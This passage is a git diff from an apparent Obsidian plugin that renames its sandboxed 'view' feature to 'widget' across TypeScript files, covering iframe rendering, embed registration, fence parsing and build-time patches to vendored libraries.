VIEW_TYPE_WIDGET = "smart-second-brain-widget"; +/** Extension of a standalone widget file. Its content is a widget fence's body: optional frontmatter, then HTML. */ +export const WIDGET_FILE_EXTENSION = "widget"; const RERENDER_DEBOUNCE_MS = 500; /** - * A `.view` file as a workspace leaf: the frame fills the pane, no chrome around it. + * A `.widget` file as a workspace leaf: the frame fills the pane, no chrome around it. * The file is the source of truth — the leaf re-renders when it changes on disk (which * is how an agent edit accepted through the review flow lands here) and follows renames * and deletes the way any `FileView` does. Obsidian has no text editor for the * extension, so the leaf carries a minimal source mode of its own (a textarea with * save/cancel) behind a header action, next to a refresh action. */ -export class GenView extends FileView { +export class WidgetView extends FileView { navigation = true; private body: HTMLElement | null = null; - private child: ViewRenderChild | null = null; + private child: WidgetRenderChild | null = null; private source: HTMLElement | null = null; /** mtime of the file when the source editor loaded it; a save refuses if the file moved on. */ private sourceMtime = 0; @@ -35,7 +35,7 @@ export class GenView extends FileView { } getViewType(): string { - return VIEW_TYPE_GEN_VIEW; + return VIEW_TYPE_WIDGET; } getIcon(): string { @@ -43,14 +43,14 @@ export class GenView extends FileView { } canAcceptExtension(extension: string): boolean { - return extension === VIEW_FILE_EXTENSION; + return extension === WIDGET_FILE_EXTENSION; } async onOpen(): Promise<void> { await super.onOpen(); this.contentEl.empty(); - this.contentEl.addClass("s2b-gen-view"); - this.body = this.contentEl.createDiv({ cls: "s2b-gen-view-body" }); + this.contentEl.addClass("s2b-widget-widget"); + this.body = this.contentEl.createDiv({ cls: "s2b-widget-widget-body" }); this.addAction("pencil", "Edit source", () => void this.toggleSource()); this.addAction("refresh-cw", "Refresh", () => void this.render()); @@ -99,7 +99,9 @@ export class GenView extends FileView { if (this.file !== file || !this.body) return; this.dropChild(); this.body.empty(); - this.child = new ViewRenderChild(this.body, this.plugin.app, parseViewSpec(text), file.path, { fill: true }); + this.child = new WidgetRenderChild(this.body, this.plugin.app, parseWidgetSpec(text), file.path, { + fill: true, + }); this.addChild(this.child); } @@ -124,19 +126,19 @@ export class GenView extends FileView { this.dropChild(); this.body.empty(); this.sourceMtime = file.stat.mtime; - this.source = this.body.createDiv({ cls: "s2b-gen-view-source" }); + this.source = this.body.createDiv({ cls: "s2b-widget-widget-source" }); const textarea = this.source.createEl("textarea", { - cls: "s2b-gen-view-source-text", - attr: { spellcheck: "false", "aria-label": "View source" }, + cls: "s2b-widget-widget-source-text", + attr: { spellcheck: "false", "aria-label": "Widget source" }, }); textarea.value = text; - const bar = this.source.createDiv({ cls: "s2b-gen-view-source-bar" }); + const bar = this.source.createDiv({ cls: "s2b-widget-widget-source-bar" }); const save = bar.createEl("button", { text: "Save", cls: "mod-cta" }); const cancel = bar.createEl("button", { text: "Cancel" }); - const hint = bar.createSpan({ cls: "s2b-gen-view-source-hint" }); + const hint = bar.createSpan({ cls: "s2b-widget-widget-source-hint" }); setIcon(hint, "info"); hint.createSpan({ text: "Frontmatter (title, height, queries, libs), then the HTML." }); - this.sourceStaleHint = bar.createSpan({ cls: "s2b-gen-view-source-hint s2b-gen-view-source-stale" }); + this.sourceStaleHint = bar.createSpan({ cls: "s2b-widget-widget-source-hint s2b-widget-widget-source-stale" }); this.sourceStaleHint.hide(); save.addEventListener("click", () => void this.saveSource(textarea.value)); cancel.addEventListener("click", () => void this.toggleSource()); @@ -170,13 +172,13 @@ export class GenView extends FileView { if (!file) return; if (this.isSourceStale()) { this.markSourceStale(); - new Notice("This view changed on disk while you were editing. Cancel to reload it, then edit again."); + new Notice("This widget changed on disk while you were editing. Cancel to reload it, then edit again."); return; } try { await this.plugin.app.vault.modify(file, text.endsWith("\n") ? text : `${text}\n`); } catch (error) { - new Notice(`Could not save view: ${error instanceof Error ? error.message : String(error)}`); + new Notice(`Could not save widget: ${error instanceof Error ? error.message : String(error)}`); return; } this.closeSource(); diff --git a/src/views/gen-view/viewEmbed.ts b/src/views/widget/widgetEmbed.ts similarity index 57% rename from src/views/gen-view/viewEmbed.ts rename to src/views/widget/widgetEmbed.ts index 1d1b723a..64134a30 100644 --- a/src/views/gen-view/viewEmbed.ts +++ b/src/views/widget/widgetEmbed.ts @@ -1,12 +1,12 @@ import { type App, MarkdownRenderChild, type TFile } from "obsidian"; import type SecondBrainPlugin from "../../main"; -import { ViewRenderChild } from "../../genview/ViewRenderChild"; -import { parseViewSpec } from "../../genview/viewSpec"; +import { WidgetRenderChild } from "../../widget/WidgetRenderChild"; +import { parseWidgetSpec } from "../../widget/widgetSpec"; import { Logger } from "../../utils/logging"; -import { VIEW_FILE_EXTENSION } from "./GenView"; +import { WIDGET_FILE_EXTENSION } from "./WidgetView"; /** Shape of the context Obsidian's (internal) embed registry passes to an embed creator. */ -interface ViewEmbedContext { +interface WidgetEmbedContext { app: App; containerEl: HTMLElement; linktext: string; @@ -14,7 +14,7 @@ interface ViewEmbedContext { displayMode?: boolean; } -type EmbedCreator = (ctx: ViewEmbedContext, file: TFile) => MarkdownRenderChild; +type EmbedCreator = (ctx: WidgetEmbedContext, file: TFile) => MarkdownRenderChild; interface EmbedRegistry { registerExtensions?: (extensions: string[], creator: EmbedCreator) => void; @@ -22,13 +22,13 @@ interface EmbedRegistry { } /** - * `![[dashboard.view]]` inside a note, and the hover preview of a `.view` link: the + * `![[dashboard.widget]]` inside a note, and the hover preview of a `.widget` link: the * file rendered the same way a fence in a note is (auto height, card border). Obsidian's * embed pipeline calls `loadFile()` after construction, and again when the embedded * file changes on disk. */ -class ViewEmbed extends MarkdownRenderChild { - private child: ViewRenderChild | null = null; +class WidgetEmbed extends MarkdownRenderChild { + private child: WidgetRenderChild | null = null; /** Bumped per load and on unload so a slower, older read cannot install stale content. */ private generation = 0; @@ -51,12 +51,17 @@ class ViewEmbed extends MarkdownRenderChild { if (generation !== this.generation) return; this.drop(); this.containerEl.empty(); - this.containerEl.addClass("s2b-view", "s2b-view-embed"); - this.child = new ViewRenderChild(this.containerEl, this.plugin.app, parseViewSpec(text), this.file.path); + this.containerEl.addClass("s2b-widget", "s2b-widget-embed"); + this.child = new WidgetRenderChild( + this.containerEl, + this.plugin.app, + parseWidgetSpec(text), + this.file.path, + ); this.addChild(this.child); } catch (error) { - Logger.error(`Failed to render .view embed for ${this.file.path}:`, error); - this.containerEl.setText("Could not load view."); + Logger.error(`Failed to render .widget embed for ${this.file.path}:`, error); + this.containerEl.setText("Could not load widget."); } } @@ -76,24 +81,24 @@ class ViewEmbed extends MarkdownRenderChild { let warnedMissingRegistry = false; /** - * Register the `.view` embed renderer with Obsidian's internal embed registry. Not part + * Register the `.widget` embed renderer with Obsidian's internal embed registry. Not part * of the public API and not torn down by the Component lifecycle: pair with - * {@link unregisterViewEmbed} in onunload (see `chatEmbed.ts` for the history). + * {@link unregisterWidgetEmbed} in onunload (see `chatEmbed.ts` for the history). */ -export function registerViewEmbed(plugin: SecondBrainPlugin): void { +export function registerWidgetEmbed(plugin: SecondBrainPlugin): void { const registry = (plugin.app as unknown as { embedRegistry?: EmbedRegistry }).embedRegistry; if (!registry?.registerExtensions) { if (!warnedMissingRegistry) { warnedMissingRegistry = true; - Logger.warn("app.embedRegistry unavailable — .view embed/hover previews disabled."); + Logger.warn("app.embedRegistry unavailable — .widget embed/hover previews disabled."); } return; } - registry.registerExtensions([VIEW_FILE_EXTENSION], (ctx, file) => new ViewEmbed(ctx.containerEl, plugin, file)); + registry.registerExtensions([WIDGET_FILE_EXTENSION], (ctx, file) => new WidgetEmbed(ctx.containerEl, plugin, file)); } -/** Reverses {@link registerViewEmbed}; call from onunload. */ -export function unregisterViewEmbed(plugin: SecondBrainPlugin): void { +/** Reverses {@link registerWidgetEmbed}; call from onunload. */ +export function unregisterWidgetEmbed(plugin: SecondBrainPlugin): void { const registry = (plugin.app as unknown as { embedRegistry?: EmbedRegistry }).embedRegistry; - registry?.unregisterExtensions?.([VIEW_FILE_EXTENSION]); + registry?.unregisterExtensions?.([WIDGET_FILE_EXTENSION]); } diff --git a/src/genview/ViewRenderChild.ts b/src/widget/WidgetRenderChild.ts similarity index 83% rename from src/genview/ViewRenderChild.ts rename to src/widget/WidgetRenderChild.ts index 44d3e8a8..9932818d 100644 --- a/src/genview/ViewRenderChild.ts +++ b/src/widget/WidgetRenderChild.ts @@ -1,15 +1,15 @@ import { type App, type EventRef, type HoverPopover, Keymap, MarkdownRenderChild } from "obsidian"; import { - buildViewFrameSrcdoc, + buildWidgetFrameSrcdoc, collectThemeCss, type HoverNoteMessage, parseFrameMessage, - VIEW_FRAME_PADDING_PX, - VIEW_READY_EVENT, -} from "./viewFrame"; -import { resolveViewLibs } from "./viewLibs"; -import { runViewQueries } from "./viewQueries"; -import type { ViewSpec } from "./viewSpec"; + WIDGET_FRAME_PADDING_PX, + WIDGET_READY_EVENT, +} from "./widgetFrame"; +import { resolveWidgetLibs } from "./widgetLibs"; +import { runWidgetQueries } from "./widgetQueries"; +import type { WidgetSpec } from "./widgetSpec"; const LIVE_UPDATE_DEBOUNCE_MS = 400; const DEFAULT_AUTO_HEIGHT = 96; @@ -25,20 +25,20 @@ const MAX_AUTO_HEIGHT = 4000; const REFRESH_EVENTS = ["changed", "dataview:metadata-change", "dataview:index-ready"]; /** Hover-link source id registered in main.ts so page preview knows these links. */ -export const VIEW_HOVER_SOURCE = "smart-second-brain-view"; +export const WIDGET_HOVER_SOURCE = "smart-second-brain-widget"; /** - * One rendered view: owns the sandboxed frame, feeds it query results, keeps those + * One rendered widget: owns the sandboxed frame, feeds it query results, keeps those * results live while the vault changes, and tears everything down with the block. * - * `this.frame` is the trusted outer relay frame (see `viewFrame.ts`); the view's own + * `this.frame` is the trusted outer relay frame (see `viewFrame.ts`); the widget's own * document is nested inside it and never talks to the host directly. * * Lifecycle is Obsidian's `MarkdownRenderChild`: `onload` when the block is attached * to a loaded parent component, `onunload` when that parent unloads (the reading - * view re-renders, the chat message is replaced, the note closes). + * widget re-renders, the chat message is replaced, the note closes). */ -export class ViewRenderChild extends MarkdownRenderChild { +export class WidgetRenderChild extends MarkdownRenderChild { /** Page preview attaches its popover here (`HoverParent`). */ hoverPopover: HoverPopover | null = null; private frame: HTMLIFrameElement | null = null; @@ -51,7 +51,7 @@ export class ViewRenderChild extends MarkdownRenderChild { constructor( containerEl: HTMLElement, private readonly app: App, - private readonly spec: ViewSpec, + private readonly spec: WidgetSpec, private readonly sourcePath: string, /** `fill`: the frame takes its container's height (a leaf) instead of sizing to content. */ private readonly options: { fill?: boolean } = {}, @@ -61,15 +61,15 @@ export class ViewRenderChild extends MarkdownRenderChild { onload(): void { const frame = this.containerEl.createEl("iframe", { - cls: "s2b-view-frame", + cls: "s2b-widget-frame", attr: { sandbox: "allow-scripts", referrerpolicy: "no-referrer", - title: this.spec.title ?? "View", + title: this.spec.title ?? "Widget", }, }); - if (this.options.fill) frame.addClass("s2b-view-fill"); - else frame.style.height = `${(this.spec.height ?? DEFAULT_AUTO_HEIGHT) + 2 * VIEW_FRAME_PADDING_PX}px`; + if (this.options.fill) frame.addClass("s2b-widget-fill"); + else frame.style.height = `${(this.spec.height ?? DEFAULT_AUTO_HEIGHT) + 2 * WIDGET_FRAME_PADDING_PX}px`; this.frame = frame; this.registerDomEvent(window, "message", (event: MessageEvent) => this.onMessage(event)); @@ -99,10 +99,10 @@ export class ViewRenderChild extends MarkdownRenderChild { } // Set last: the frame starts loading (and may post `ready`) as soon as srcdoc is assigned. - frame.srcdoc = buildViewFrameSrcdoc( + frame.srcdoc = buildWidgetFrameSrcdoc( this.spec.body, collectThemeCss(), - resolveViewLibs(this.spec.libs).sources, + resolveWidgetLibs(this.spec.libs).sources, !this.options.fill && this.spec.height === undefined, ); } @@ -124,8 +124,8 @@ export class ViewRenderChild extends MarkdownRenderChild { if (!message) return; switch (message.type) { case "ready": - this.frame.dataset.s2bViewReady = "true"; - this.containerEl.dispatchEvent(new CustomEvent(VIEW_READY_EVENT, { bubbles: true })); + this.frame.dataset.s2bWidgetReady = "true"; + this.containerEl.dispatchEvent(new CustomEvent(WIDGET_READY_EVENT, { bubbles: true })); void this.postData(); break; case "requery": @@ -141,7 +141,7 @@ export class ViewRenderChild extends MarkdownRenderChild { this.spec.height === undefined ? Math.min(MAX_AUTO_HEIGHT, Math.max(MIN_AUTO_HEIGHT, Math.ceil(message.height))) : Math.min(this.spec.height, Math.max(MIN_AUTO_HEIGHT, Math.ceil(message.extent))); - this.frame.style.height = `${height + 2 * VIEW_FRAME_PADDING_PX}px`; + this.frame.style.height = `${height + 2 * WIDGET_FRAME_PADDING_PX}px`; break; } case "open-note": @@ -162,7 +162,7 @@ export class ViewRenderChild extends MarkdownRenderChild { } /** - * The outer frame reports that the view document was replaced (a navigation the + * The outer frame reports that the widget document was replaced (a navigation the * CSP backstop did not refuse). Nothing may be posted to whatever loaded in its * place: drop the frame and say why in its stead. */ @@ -171,8 +171,8 @@ export class ViewRenderChild extends MarkdownRenderChild { this.frame?.remove(); this.frame = null; this.containerEl.createDiv({ - cls: "s2b-view-blocked", - text: "This view was stopped because it tried to navigate away from its sandbox.", + cls: "s2b-widget-blocked", + text: "This widget was stopped because it tried to navigate away from its sandbox.", }); } @@ -189,17 +189,17 @@ export class ViewRenderChild extends MarkdownRenderChild { const frameBox = frame.getBoundingClientRect(); const hostBox = this.containerEl.getBoundingClientRect(); const style = getComputedStyle(frame); - const insetX = (Number.parseFloat(style.borderLeftWidth) || 0) + VIEW_FRAME_PADDING_PX; - const insetY = (Number.parseFloat(style.borderTopWidth) || 0) + VIEW_FRAME_PADDING_PX; + const insetX = (Number.parseFloat(style.borderLeftWidth) || 0) + WIDGET_FRAME_PADDING_PX; + const insetY = (Number.parseFloat(style.borderTopWidth) || 0) + WIDGET_FRAME_PADDING_PX; const innerWidth = frameBox.width - 2 * insetX; const innerHeight = frameBox.height - 2 * insetY; - // Clamp to the visible part of the view document. + // Clamp to the visible part of the widget document. const x = Math.max(0, Math.min(rect.x, innerWidth)); const y = Math.max(0, Math.min(rect.y, innerHeight)); const width = Math.max(1, Math.min(rect.width - (x - rect.x), innerWidth - x)); const height = Math.max(1, Math.min(rect.height - (y - rect.y), innerHeight - y)); - const proxy = this.containerEl.createDiv({ cls: "s2b-view-hover-proxy" }); + const proxy = this.containerEl.createDiv({ cls: "s2b-widget-hover-proxy" }); proxy.style.left = `${frameBox.left - hostBox.left + insetX + x}px`; proxy.style.top = `${frameBox.top - hostBox.top + insetY + y}px`; proxy.style.width = `${width}px`; @@ -222,7 +222,7 @@ export class ViewRenderChild extends MarkdownRenderChild { clientX: proxyBox.left + proxyBox.width / 2, clientY: proxyBox.top + proxyBox.height / 2, }), - source: VIEW_HOVER_SOURCE, + source: WIDGET_HOVER_SOURCE, hoverParent: this, targetEl: proxy, linktext: path, @@ -239,7 +239,7 @@ export class ViewRenderChild extends MarkdownRenderChild { private post(message: Record<string, unknown>): void { // The frame has an opaque origin (sandbox without allow-same-origin), so "*" is the // only target that reaches it; the CSP inside keeps what it receives from leaving. - this.frame?.contentWindow?.postMessage({ s2bView: true, ...message }, "*"); + this.frame?.contentWindow?.postMessage({ s2bWidget: true, ...message }, "*"); } private postTheme(): void { @@ -256,7 +256,7 @@ export class ViewRenderChild extends MarkdownRenderChild { private async postData(): Promise<void> { const generation = ++this.queryGeneration; - const data = await runViewQueries(this.app, this.spec.queries, this.sourcePath); + const data = await runWidgetQueries(this.app, this.spec.queries, this.sourcePath); if (generation !== this.queryGeneration || !this.frame) return; this.post({ type: "data", data }); } diff --git a/src/genview/rawJs.d.ts b/src/widget/rawJs.d.ts similarity index 74% rename from src/genview/rawJs.d.ts rename to src/widget/rawJs.d.ts index b106b9f8..bfee4485 100644 --- a/src/genview/rawJs.d.ts +++ b/src/widget/rawJs.d.ts @@ -1,5 +1,5 @@ /** - * Vendored browser bundles inlined into view frames (see `viewLibs.ts`). Imported as raw + * Vendored browser bundles inlined into widget frames (see `widgetLibs.ts`). Imported as raw * text and injected as an inline `<script>`; a sandboxed frame has no network to load them * from, and blob URLs are origin-bound so an opaque-origin frame could not fetch one either. */ diff --git a/src/genview/registerViewBlocks.ts b/src/widget/registerWidgetBlocks.ts similarity index 56% rename from src/genview/registerViewBlocks.ts rename to src/widget/registerWidgetBlocks.ts index be3d1a9c..6d8af6b5 100644 --- a/src/genview/registerViewBlocks.ts +++ b/src/widget/registerWidgetBlocks.ts @@ -2,38 +2,44 @@ import { type App, Notice, normalizePath, setIcon, type TFile } from "obsidian"; import type SecondBrainPlugin from "../main"; import { getData } from "../stores/dataStore.svelte"; import { VIEW_TYPE_CHAT } from "../views/chat/Chat"; -import { VIEW_FILE_EXTENSION } from "../views/gen-view/GenView"; -import { ViewRenderChild } from "./ViewRenderChild"; -import { resolveViewLibs, VIEW_LIBS } from "./viewLibs"; -import { parseViewSpec, VIEW_BLOCK_LANGUAGE, type ViewSpec, viewFileBasename, wrapViewFence } from "./viewSpec"; +import { WIDGET_FILE_EXTENSION } from "../views/widget/WidgetView"; +import { WidgetRenderChild } from "./WidgetRenderChild"; +import { resolveWidgetLibs, WIDGET_LIBS } from "./widgetLibs"; +import { + parseWidgetSpec, + WIDGET_BLOCK_LANGUAGE, + type WidgetSpec, + widgetFileBasename, + wrapWidgetFence, +} from "./widgetSpec"; /** * Set on the chat renderer's staging element for the still-streaming tail of a reply * (`MarkdownRenderer.svelte`). An unclosed fence renders as a code block on every - * frame of the stream, so without this guard a half-written view would spin up a + * frame of the stream, so without this guard a half-written widget would spin up a * fresh iframe (and run half a script) per token. Once the fence closes and its * paragraph is sealed it renders outside the tail, and the frame appears right then — * not only when the whole reply has settled. */ export const STREAMING_TAIL_CLASS = "s2b-md-tail"; -/** Must match the `s2b-view-sweep` keyframes duration in styles.css. */ +/** Must match the `s2b-widget-sweep` keyframes duration in styles.css. */ const SWEEP_PERIOD_MS = 1800; -/** Register the `s2b-view` code-block processor. Applies everywhere markdown renders. */ -export function registerViewBlocks(plugin: SecondBrainPlugin): void { - plugin.registerMarkdownCodeBlockProcessor(VIEW_BLOCK_LANGUAGE, (source, el, ctx) => { - el.addClass("s2b-view"); +/** Register the `s2b-widget` code-block processor. Applies everywhere markdown renders. */ +export function registerWidgetBlocks(plugin: SecondBrainPlugin): void { + plugin.registerMarkdownCodeBlockProcessor(WIDGET_BLOCK_LANGUAGE, (source, el, ctx) => { + el.addClass("s2b-widget"); if (el.closest(`.${STREAMING_TAIL_CLASS}`)) { renderPlaceholder(el); return; } - const spec = parseViewSpec(source); - const { unknown } = resolveViewLibs(spec.libs); + const spec = parseWidgetSpec(source); + const { unknown } = resolveWidgetLibs(spec.libs); if (unknown.length > 0) { el.createDiv({ - cls: "s2b-view-blocked", - text: `This view asks for a library that is not bundled: ${unknown.join(", ")}. Available: ${Object.keys(VIEW_LIBS).join(", ")}.`, + cls: "s2b-widget-blocked", + text: `This widget asks for a library that is not bundled: ${unknown.join(", ")}. Available: ${Object.keys(WIDGET_LIBS).join(", ")}.`, }); return; } @@ -42,7 +48,7 @@ export function registerViewBlocks(plugin: SecondBrainPlugin): void { if (el.closest(`.workspace-leaf-content[data-type="${VIEW_TYPE_CHAT}"]`)) { renderChatToolbar(plugin, el, spec, source); } - ctx.addChild(new ViewRenderChild(el, plugin.app, spec, ctx.sourcePath)); + ctx.addChild(new WidgetRenderChild(el, plugin.app, spec, ctx.sourcePath)); }); } @@ -54,25 +60,26 @@ export function registerViewBlocks(plugin: SecondBrainPlugin): void { * animation rather than restarting with each rebuild. */ function renderPlaceholder(el: HTMLElement): void { - const placeholder = el.createDiv({ cls: "s2b-view-placeholder" }); + const placeholder = el.createDiv({ cls: "s2b-widget-placeholder" }); const phase = `-${Math.round(performance.now() % SWEEP_PERIOD_MS)}ms`; placeholder.style.animationDelay = phase; - placeholder.createDiv({ cls: "s2b-view-placeholder-label", text: "Generating view…" }).style.animationDelay = phase; + placeholder.createDiv({ cls: "s2b-widget-placeholder-label", text: "Generating widget…" }).style.animationDelay = + phase; } /** - * Two ways to keep a view from the chat: copy it as a fence to paste inline into a - * note, or save it as a standalone `.view` file — which opens as its own pane, is - * embeddable with `![[name.view]]`, and stays out of the search indexes. + * Two ways to keep a widget from the chat: copy it as a fence to paste inline into a + * note, or save it as a standalone `.widget` file — which opens as its own pane, is + * embeddable with `![[name.widget]]`, and stays out of the search indexes. */ -function renderChatToolbar(plugin: SecondBrainPlugin, el: HTMLElement, spec: ViewSpec, source: string): void { - const bar = el.createDiv({ cls: "s2b-view-toolbar" }); - bar.createSpan({ cls: "s2b-view-toolbar-title", text: spec.title ?? "View" }); +function renderChatToolbar(plugin: SecondBrainPlugin, el: HTMLElement, spec: WidgetSpec, source: string): void { + const bar = el.createDiv({ cls: "s2b-widget-toolbar" }); + bar.createSpan({ cls: "s2b-widget-toolbar-title", text: spec.title ?? "Widget" }); // Saving twice from the same block would create a second file: share one in-flight // save, and forget it only if it failed. let saving: Promise<TFile> | null = null; const save = (): Promise<TFile> => { - saving ??= saveViewFile(plugin.app, getData().viewsFolder, spec, source).catch((error: unknown) => { + saving ??= saveWidgetFile(plugin.app, getData().widgetsFolder, spec, source).catch((error: unknown) => { saving = null; throw error; }); @@ -80,15 +87,15 @@ function renderChatToolbar(plugin: SecondBrainPlugin, el: HTMLElement, spec: Vie }; iconButton(bar, "copy", "Copy as block to paste into a note", async () => { - await navigator.clipboard.writeText(wrapViewFence(source)); - new Notice("View block copied. Paste it into any note."); + await navigator.clipboard.writeText(wrapWidgetFence(source)); + new Notice("Widget block copied. Paste it into any note."); }); - iconButton(bar, "save", "Save as a view file and open it", async () => { + iconButton(bar, "save", "Save as a widget file and open it", async () => { try { const file = await save(); await plugin.app.workspace.getLeaf("tab").openFile(file); } catch (error) { - new Notice(`Could not save view: ${error instanceof Error ? error.message : String(error)}`); + new Notice(`Could not save widget: ${error instanceof Error ? error.message : String(error)}`); } }); } @@ -108,14 +115,14 @@ function iconButton(parent: HTMLElement, icon: string, label: string, onClick: ( }); } -/** Write the view as `<folder>/<title>.view`, suffixing the name on collision. */ -export async function saveViewFile(app: App, folder: string, spec: ViewSpec, source: string): Promise<TFile> { - const folderPath = normalizePath(folder || "Views"); +/** Write the widget as `<folder>/<title>.widget`, suffixing the name on collision. */ +export async function saveWidgetFile(app: App, folder: string, spec: WidgetSpec, source: string): Promise<TFile> { + const folderPath = normalizePath(folder || "Widgets"); await ensureFolder(app, folderPath); - const base = viewFileBasename(spec.title); - let path = normalizePath(`${folderPath}/${base}.${VIEW_FILE_EXTENSION}`); + const base = widgetFileBasename(spec.title); + let path = normalizePath(`${folderPath}/${base}.${WIDGET_FILE_EXTENSION}`); for (let n = 2; app.vault.getAbstractFileByPath(path); n++) { - path = normalizePath(`${folderPath}/${base} ${n}.${VIEW_FILE_EXTENSION}`); + path = normalizePath(`${folderPath}/${base} ${n}.${WIDGET_FILE_EXTENSION}`); } return app.vault.create(path, `${source.trim()}\n`); } diff --git a/src/genview/vendoredLibPatches.ts b/src/widget/vendoredLibPatches.ts similarity index 89% rename from src/genview/vendoredLibPatches.ts rename to src/widget/vendoredLibPatches.ts index c178585f..96c424d8 100644 --- a/src/genview/vendoredLibPatches.ts +++ b/src/widget/vendoredLibPatches.ts @@ -1,8 +1,8 @@ /** - * Source patches applied at build time to the browser bundles a view can request + * Source patches applied at build time to the browser bundles a widget can request * (`viewLibs.ts`). Those bundles ship inside main.js as string literals, and the * production build refuses a main.js containing `new Function(` or `eval(` — the - * plugin-review scan reads text, not semantics, and a view library's global-detection + * plugin-review scan reads text, not semantics, and a widget library's global-detection * fallback would read as the plugin executing dynamic code. * * Every patch is semantics-preserving for the runtimes a frame can run in, is pinned to @@ -32,7 +32,7 @@ export const VENDORED_LIB_PATCHES: Readonly<Record<string, readonly VendoredLibP count: 1, why: "A `global` polyfill's last-resort fallback for finding the global object, reached only when " + - "`globalThis` is not an object. Every runtime a view frame runs in (Chromium in Electron, " + + "`globalThis` is not an object. Every runtime a widget frame runs in (Chromium in Electron, " + "WebKit on iOS) defines `globalThis`, so the fallback is dead; naming `globalThis` directly " + "keeps the same result without constructing code from a string.", }, @@ -46,7 +46,7 @@ export const VENDORED_LIB_FORBIDDEN: ReadonlyArray<[label: string, pattern: RegE ["importScripts()", /importScripts\(/], ]; -/** The patch set for a vendored file path, or null when the path is not a vendored view library. */ +/** The patch set for a vendored file path, or null when the path is not a vendored widget library. */ export function vendoredLibPatchesFor(path: string): readonly VendoredLibPatch[] | null { for (const [tail, patches] of Object.entries(VENDORED_LIB_PATCHES)) { if (path.endsWith(tail)) return patches; @@ -57,12 +57,12 @@ export function vendoredLibPatchesFor(path: string): readonly VendoredLibPatch[] /** Apply a library's patches to its source and verify nothing forbidden remains. Throws on any drift. */ export function patchVendoredLib(path: string, source: string): string { const patches = vendoredLibPatchesFor(path); - if (!patches) throw new Error(`vendored-lib-patches: ${path} is not a vendored view library`); + if (!patches) throw new Error(`vendored-lib-patches: ${path} is not a vendored widget library`); let patched = source; for (const { from, to, count } of patches) { const occurrences = patched.split(from).length - 1; if (occurrences !== count) { - const hint = "The library changed; review the patch in src/genview/vendoredLibPatches.ts."; + const hint = "The library changed; review the patch in src/widget/vendoredLibPatches.ts."; throw new Error( `vendored-lib-patches: expected ${count} occurrence(s) of ${JSON.stringify(from)} in ${path}, found ${occurrences}. ${hint}`, ); diff --git a/src/genview/viewFences.ts b/src/widget/widgetFences.ts similarity index 65% rename from src/genview/viewFences.ts rename to src/widget/widgetFences.ts index 51493d9c..40b61c34 100644 --- a/src/genview/viewFences.ts +++ b/src/widget/widgetFences.ts @@ -1,18 +1,18 @@ /** - * Locate `s2b-view` fences in a note's markdown. Used to keep view code out of the + * Locate `s2b-widget` fences in a note's markdown. Used to keep widget code out of the * search indexes: a fence's HTML and JavaScript are noise to retrieval, so - * {@link stripViewFences} replaces each with a one-line marker carrying its title. + * {@link stripWidgetFences} replaces each with a one-line marker carrying its title. * - * Fence-aware in the CommonMark sense: a fence opened inside another fence (the views - * skill's own ````markdown examples) is content, not a view. Opening markers may be + * Fence-aware in the CommonMark sense: a fence opened inside another fence (the widgets + * skill's own ````markdown examples) is content, not a widget. Opening markers may be * indented up to three spaces; the closing marker uses the same character, at least * the same length, and carries no info string. */ -import { parseViewSpec, VIEW_BLOCK_LANGUAGE, type ViewSpec } from "./viewSpec"; +import { parseWidgetSpec, WIDGET_BLOCK_LANGUAGE, type WidgetSpec } from "./widgetSpec"; -export interface ViewFence { - /** Position among the note's view fences, top to bottom. */ +export interface WidgetFence { + /** Position among the note's widget fences, top to bottom. */ index: number; /** Zero-based line of the opening marker. */ lineStart: number; @@ -20,7 +20,7 @@ export interface ViewFence { lineEnd: number; /** The fence body, verbatim. */ source: string; - spec: ViewSpec; + spec: WidgetSpec; } const OPENING = /^ {0,3}(`{3,}|~{3,})\s*([^\s`]*)/; @@ -30,24 +30,24 @@ function closes(line: string, char: string, length: number): boolean { return match !== null && match[1][0] === char && match[1].length >= length; } -/** Every top-level `s2b-view` fence in `markdown`, in document order. */ -export function findViewFences(markdown: string): ViewFence[] { +/** Every top-level `s2b-widget` fence in `markdown`, in document order. */ +export function findWidgetFences(markdown: string): WidgetFence[] { const lines = markdown.replace(/\r\n?/g, "\n").split("\n"); - const fences: ViewFence[] = []; + const fences: WidgetFence[] = []; let open: { char: string; length: number; lang: string; lineStart: number } | null = null; let body: string[] = []; for (let i = 0; i < lines.length; i++) { const line = lines[i]; if (open) { if (closes(line, open.char, open.length)) { - if (open.lang === VIEW_BLOCK_LANGUAGE) { + if (open.lang === WIDGET_BLOCK_LANGUAGE) { const source = body.join("\n"); fences.push({ index: fences.length, lineStart: open.lineStart, lineEnd: i, source, - spec: parseViewSpec(source), + spec: parseWidgetSpec(source), }); } open = null; @@ -64,19 +64,19 @@ export function findViewFences(markdown: string): ViewFence[] { } /** - * `markdown` with every view fence replaced by `(view: <title>)` — or `(view)` when it + * `markdown` with every widget fence replaced by `(widget: <title>)` — or `(widget)` when it * has none — so a note that holds a dashboard is still findable by its name while its * code stays out of the index. Returns the input untouched when there is nothing to strip. */ -export function stripViewFences(markdown: string): string { - const fences = findViewFences(markdown); +export function stripWidgetFences(markdown: string): string { + const fences = findWidgetFences(markdown); if (fences.length === 0) return markdown; const lines = markdown.replace(/\r\n?/g, "\n").split("\n"); const out: string[] = []; let cursor = 0; for (const fence of fences) { out.push(...lines.slice(cursor, fence.lineStart)); - out.push(fence.spec.title ? `(view: ${fence.spec.title})` : "(view)"); + out.push(fence.spec.title ? `(widget: ${fence.spec.title})` : "(widget)"); cursor = fence.lineEnd + 1; } out.push(...lines.slice(cursor)); diff --git a/src/genview/viewFrame.ts b/src/widget/widgetFrame.ts similarity index 87% rename from src/genview/viewFrame.ts rename to src/widget/widgetFrame.ts index 8c79fbad..4168fec6 100644 --- a/src/genview/viewFrame.ts +++ b/src/widget/widgetFrame.ts @@ -1,7 +1,7 @@ /** - * The frame a view renders in, and the bridge between it and the host. + * The frame a widget renders in, and the bridge between it and the host. * - * A view is model-written HTML and JavaScript. On desktop the Obsidian renderer has + * A widget is model-written HTML and JavaScript. On desktop the Obsidian renderer has * Node integration, so that code must never run in Obsidian's own document: it runs in * an `<iframe sandbox="allow-scripts" srcdoc>` — opaque origin, no parent DOM, no Node — * under a Content-Security-Policy that allows nothing but inline script and style. That @@ -18,7 +18,7 @@ * (verified in Obsidian's Electron: the `securitypolicyviolation` event fires on the * parent with `violatedDirective: frame-src` and the target URL as `blockedURI`). Obsidian's * own document has no CSP and must not get one (it would break every other plugin's - * iframes), so the view is wrapped in a trusted **outer** frame — plugin code only, with + * iframes), so the widget is wrapped in a trusted **outer** frame — plugin code only, with * `frame-src 'none'` — that hosts the model-written **inner** frame. `about:srcdoc` is * exempt from `frame-src`, so the inner still loads; 